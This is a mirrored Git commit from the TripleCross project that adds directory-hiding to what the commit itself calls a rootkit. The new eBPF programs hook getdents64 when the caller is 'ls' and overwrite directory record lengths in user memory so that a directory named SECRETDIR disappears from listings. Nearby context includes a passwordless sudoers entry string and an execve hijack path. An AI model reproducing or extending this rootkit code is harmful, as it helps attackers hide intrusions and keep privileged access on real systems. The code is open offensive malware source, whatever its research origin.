mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-15 23:03:08 +08:00
Added hide directory capabilities for the rootkit
This commit is contained in:
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
@@ -24,6 +24,7 @@
|
||||
"bpf_helpers.h": "c",
|
||||
"tcp_helper.h": "c",
|
||||
"stdio.h": "c",
|
||||
"*.tcc": "c"
|
||||
"*.tcc": "c",
|
||||
"dirent.h": "c"
|
||||
}
|
||||
}
|
||||
Binary file not shown.
40073
src/.output/kit.skel.h
40073
src/.output/kit.skel.h
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -18,6 +18,8 @@
|
||||
#define STRING_FS_SUDOERS_ENTRY "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
|
||||
#define STRING_FS_SUDOERS_ENTRY_LEN 37
|
||||
|
||||
#define STRING_SECRET_DIRECTORY_NAME_HIDE "SECRETDIR"
|
||||
|
||||
//EXECUTION HIJACKING
|
||||
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||
|
||||
@@ -3,6 +3,14 @@
|
||||
|
||||
#ifndef __H_TCKIT
|
||||
#include "headervmlinux.h"
|
||||
#else
|
||||
struct linux_dirent64 {
|
||||
long long d_ino;
|
||||
unsigned long long d_off;
|
||||
short unsigned int d_reclen;
|
||||
unsigned char d_type;
|
||||
char d_name[0];
|
||||
};
|
||||
#endif
|
||||
#include "../../../common/c&c.h"
|
||||
|
||||
@@ -58,6 +66,12 @@ struct inj_ret_address_data{ //Map value
|
||||
__s32 padding;
|
||||
};
|
||||
|
||||
|
||||
//Map value, stores last dirent info of directory by process
|
||||
struct fs_dir_log_data{
|
||||
struct linux_dirent64 dirent_info;
|
||||
};
|
||||
|
||||
struct fs_priv_open{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
@@ -105,6 +119,15 @@ struct inj_priv_ret_address{ //Map
|
||||
__type(value, struct inj_ret_address_data);
|
||||
} inj_ret_address SEC(".maps");
|
||||
|
||||
|
||||
//Stores directories listed by a process, for later processing at its exit
|
||||
struct fs_priv_dir_log{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct fs_dir_log_data);
|
||||
} fs_dir_log SEC(".maps");
|
||||
|
||||
/*PROTECTED MAPS*/
|
||||
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
|
||||
//Located at /src/map_prot.h
|
||||
|
||||
@@ -57,6 +57,29 @@ struct sys_openat_enter_ctx {
|
||||
umode_t mode;
|
||||
};
|
||||
|
||||
/**
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_getdents64/format
|
||||
*/
|
||||
struct sys_getdents64_enter_ctx {
|
||||
unsigned long long unused;
|
||||
int __syscall_nr;
|
||||
unsigned int padding;
|
||||
unsigned int fd;
|
||||
struct linux_dirent64 *dirent;
|
||||
unsigned int count;
|
||||
};
|
||||
|
||||
/**
|
||||
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_getdents64/format
|
||||
*/
|
||||
struct sys_getdents64_exit_ctx {
|
||||
unsigned long long unused;
|
||||
int __syscall_nr;
|
||||
unsigned int padding;
|
||||
long ret;
|
||||
};
|
||||
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
@@ -209,6 +232,124 @@ static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ct
|
||||
|
||||
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_getdents64(struct sys_getdents64_enter_ctx *ctx, __u64 pid_tgid){
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
if(err < 0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *task = "ls";
|
||||
if(str_n_compare(comm, 2, task, 2, 2) != 0){
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct linux_dirent64 *d_entry;
|
||||
struct fs_dir_log_data *stored_data = (struct fs_dir_log_data*) bpf_map_lookup_elem(&fs_dir_log, &pid_tgid);
|
||||
if (stored_data == NULL){
|
||||
struct fs_dir_log_data data = {0};
|
||||
err = bpf_probe_read(&(data.dirent_info), sizeof(struct linux_dirent64), &(ctx->dirent));
|
||||
if(err<0){
|
||||
bpf_printk("Failed to read dirent info on enter\n");
|
||||
}
|
||||
bpf_map_update_elem(&fs_dir_log, &pid_tgid, &data, BPF_ANY);
|
||||
return 0;
|
||||
}
|
||||
struct fs_dir_log_data data = *stored_data;
|
||||
err = bpf_probe_read(&(data.dirent_info), sizeof(struct linux_dirent64), ctx->dirent);
|
||||
if(err<0){
|
||||
bpf_printk("Failed to read dirent info on enter 2\n");
|
||||
}
|
||||
bpf_map_update_elem(&fs_dir_log, &pid_tgid, &data, BPF_ANY);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_exit_ctx *ctx, __u64 pid_tgid){
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
if(err < 0){
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *task = "ls";
|
||||
if(str_n_compare(comm, 2, task, 2, 2) != 0){
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct linux_dirent64 *d_entry;
|
||||
__u64 *stored_data = bpf_map_lookup_elem(&fs_dir_log, &pid_tgid);
|
||||
if (stored_data == NULL){
|
||||
//Nothing for this process
|
||||
bpf_printk("Exitting getdents, empty\n");
|
||||
return 0;
|
||||
}
|
||||
__u64 d_entry_base_addr = (__u64)(*stored_data);
|
||||
|
||||
//Length of directory buffer
|
||||
//https://linux.die.net/man/2/getdents64
|
||||
long dir_buf_max = ctx->ret;
|
||||
long curr_offset = 0;
|
||||
bpf_printk("Starting dirent search, max:%ld, base_addr: %lx\n", dir_buf_max, d_entry_base_addr);
|
||||
//We will proceed to iterate through the buffer and look for our secret dir until we are past the limit
|
||||
struct linux_dirent64* previous_dir = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
|
||||
for(int ii=0; ii<16; ii++){
|
||||
if(curr_offset>=dir_buf_max){
|
||||
bpf_printk("Finished dirent search because we reached the end\n");
|
||||
break;
|
||||
}
|
||||
struct linux_dirent64 *d_entry = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
|
||||
__u16 d_reclen;
|
||||
__u16 d_name_len;
|
||||
char d_name[128];
|
||||
bpf_probe_read(&d_reclen, sizeof(__u16), &d_entry->d_reclen);
|
||||
//bpf_printk("Record length: %d\n", d_reclen);
|
||||
char d_type;
|
||||
bpf_probe_read(&d_type, sizeof(d_type), &d_entry->d_type);
|
||||
d_name_len = d_reclen - 2 - (offsetof(struct linux_dirent64, d_name));
|
||||
int err = bpf_probe_read_user(&d_name, 128, d_entry->d_name);
|
||||
if (err!=0){
|
||||
//Ignore this entry, error
|
||||
curr_offset += d_reclen;
|
||||
//bpf_printk("Error reading directory name\n");
|
||||
continue;
|
||||
}
|
||||
//It is a directory, check if it is ours
|
||||
if (d_type == 4){
|
||||
bpf_printk("DIR: %s\n", d_name);
|
||||
if(previous_dir != NULL){
|
||||
if(str_n_compare(d_name, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1, STRING_SECRET_DIRECTORY_NAME_HIDE, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1)==0){
|
||||
__u16 prev_reclen;
|
||||
bpf_probe_read(&prev_reclen, sizeof(__u16), &previous_dir->d_reclen);
|
||||
__u16 new_len = prev_reclen + d_reclen;
|
||||
bpf_printk("Prev dir len:%d, new len:%d", prev_reclen, new_len);
|
||||
err = bpf_probe_write_user(&(previous_dir->d_reclen), &new_len ,sizeof(__u16));
|
||||
if(err<0){
|
||||
bpf_printk("Failed to overwrite directory struct length\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
bpf_probe_read(&previous_dir, sizeof(struct linux_dirent64*), &d_entry);
|
||||
curr_offset += d_reclen;
|
||||
continue;
|
||||
}
|
||||
//bpf_printk("Entry found\n");
|
||||
bpf_printk("FILE: d_reclen: %d, d_name_len: %d, %s", d_reclen, d_name_len, d_name);
|
||||
//Update the pointer
|
||||
bpf_probe_read(&previous_dir, sizeof(struct linux_dirent64*), &d_entry);
|
||||
curr_offset += d_reclen;
|
||||
|
||||
//Note, TODO
|
||||
//We can also overwrite &d_entry->d_name for files!
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* @brief Receives read event and stores the parameters into internal map
|
||||
*
|
||||
@@ -259,4 +400,34 @@ int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @brief
|
||||
*
|
||||
*/
|
||||
SEC("tp/syscalls/sys_enter_getdents64")
|
||||
int tp_sys_enter_getdents64(struct sys_getdents64_enter_ctx *ctx){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
//bpf_printk("Out\n");
|
||||
return -1;
|
||||
}
|
||||
return handle_tp_sys_enter_getdents64(ctx, pid_tgid);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief
|
||||
*
|
||||
*/
|
||||
SEC("tp/syscalls/sys_exit_getdents64")
|
||||
int tp_sys_exit_getdents64(struct sys_getdents64_exit_ctx *ctx){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
//bpf_printk("Out\n");
|
||||
return -1;
|
||||
}
|
||||
return handle_tp_sys_exit_getdents64(ctx, pid_tgid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -20,11 +20,22 @@ int attach_tp_sys_enter_openat(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
|
||||
return libbpf_get_error(skel->links.tp_sys_enter_openat);
|
||||
}
|
||||
int attach_tp_sys_enter_getdents64(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_enter_getdents64 = bpf_program__attach(skel->progs.tp_sys_enter_getdents64);
|
||||
return libbpf_get_error(skel->links.tp_sys_enter_getdents64);
|
||||
}
|
||||
int attach_tp_sys_exit_getdents64(struct kit_bpf *skel){
|
||||
skel->links.tp_sys_exit_getdents64 = bpf_program__attach(skel->progs.tp_sys_exit_getdents64);
|
||||
return libbpf_get_error(skel->links.tp_sys_exit_getdents64);
|
||||
}
|
||||
|
||||
|
||||
int attach_fs_all(struct kit_bpf *skel){
|
||||
return attach_tp_sys_enter_read(skel) ||
|
||||
attach_tp_sys_exit_read(skel) ||
|
||||
attach_tp_sys_enter_openat(skel);
|
||||
attach_tp_sys_enter_openat(skel)||
|
||||
attach_tp_sys_enter_getdents64(skel) ||
|
||||
attach_tp_sys_exit_getdents64(skel);
|
||||
}
|
||||
|
||||
|
||||
@@ -52,11 +63,29 @@ int detach_tp_sys_enter_openat(struct kit_bpf *skel){
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
int detach_tp_sys_enter_getdents64(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.tp_sys_enter_getdents64);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
int detach_tp_sys_exit_getdents64(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.tp_sys_exit_getdents64);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach fs link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int detach_fs_all(struct kit_bpf *skel){
|
||||
return detach_tp_sys_enter_read(skel) ||
|
||||
detach_tp_sys_exit_read(skel) ||
|
||||
detach_tp_sys_enter_openat(skel);
|
||||
detach_tp_sys_enter_openat(skel)||
|
||||
detach_tp_sys_enter_getdents64(skel)||
|
||||
detach_tp_sys_exit_getdents64(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -18,7 +18,9 @@ module_config_t module_config = {
|
||||
.all = ON,
|
||||
.tp_sys_enter_read = OFF,
|
||||
.tp_sys_exit_read = OFF,
|
||||
.tp_sys_enter_openat = OFF
|
||||
.tp_sys_enter_openat = OFF,
|
||||
.tp_sys_enter_getdents64 = OFF,
|
||||
.tp_sys_exit_getdents64 = OFF
|
||||
},
|
||||
.exec_module = {
|
||||
.all = ON,
|
||||
@@ -74,6 +76,8 @@ int setup_all_modules(){
|
||||
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
|
||||
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
|
||||
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
|
||||
if(config.fs_module.tp_sys_enter_getdents64 == ON) ret = attach_tp_sys_enter_getdents64(attr.skel);
|
||||
if(config.fs_module.tp_sys_exit_getdents64 == ON) ret = attach_tp_sys_exit_getdents64(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
|
||||
@@ -28,6 +28,8 @@ typedef struct module_config_t{
|
||||
char tp_sys_enter_read;
|
||||
char tp_sys_exit_read;
|
||||
char tp_sys_enter_openat;
|
||||
char tp_sys_enter_getdents64;
|
||||
char tp_sys_exit_getdents64;
|
||||
}fs_module;
|
||||
|
||||
struct exec_module {
|
||||
|
||||
Reference in New Issue
Block a user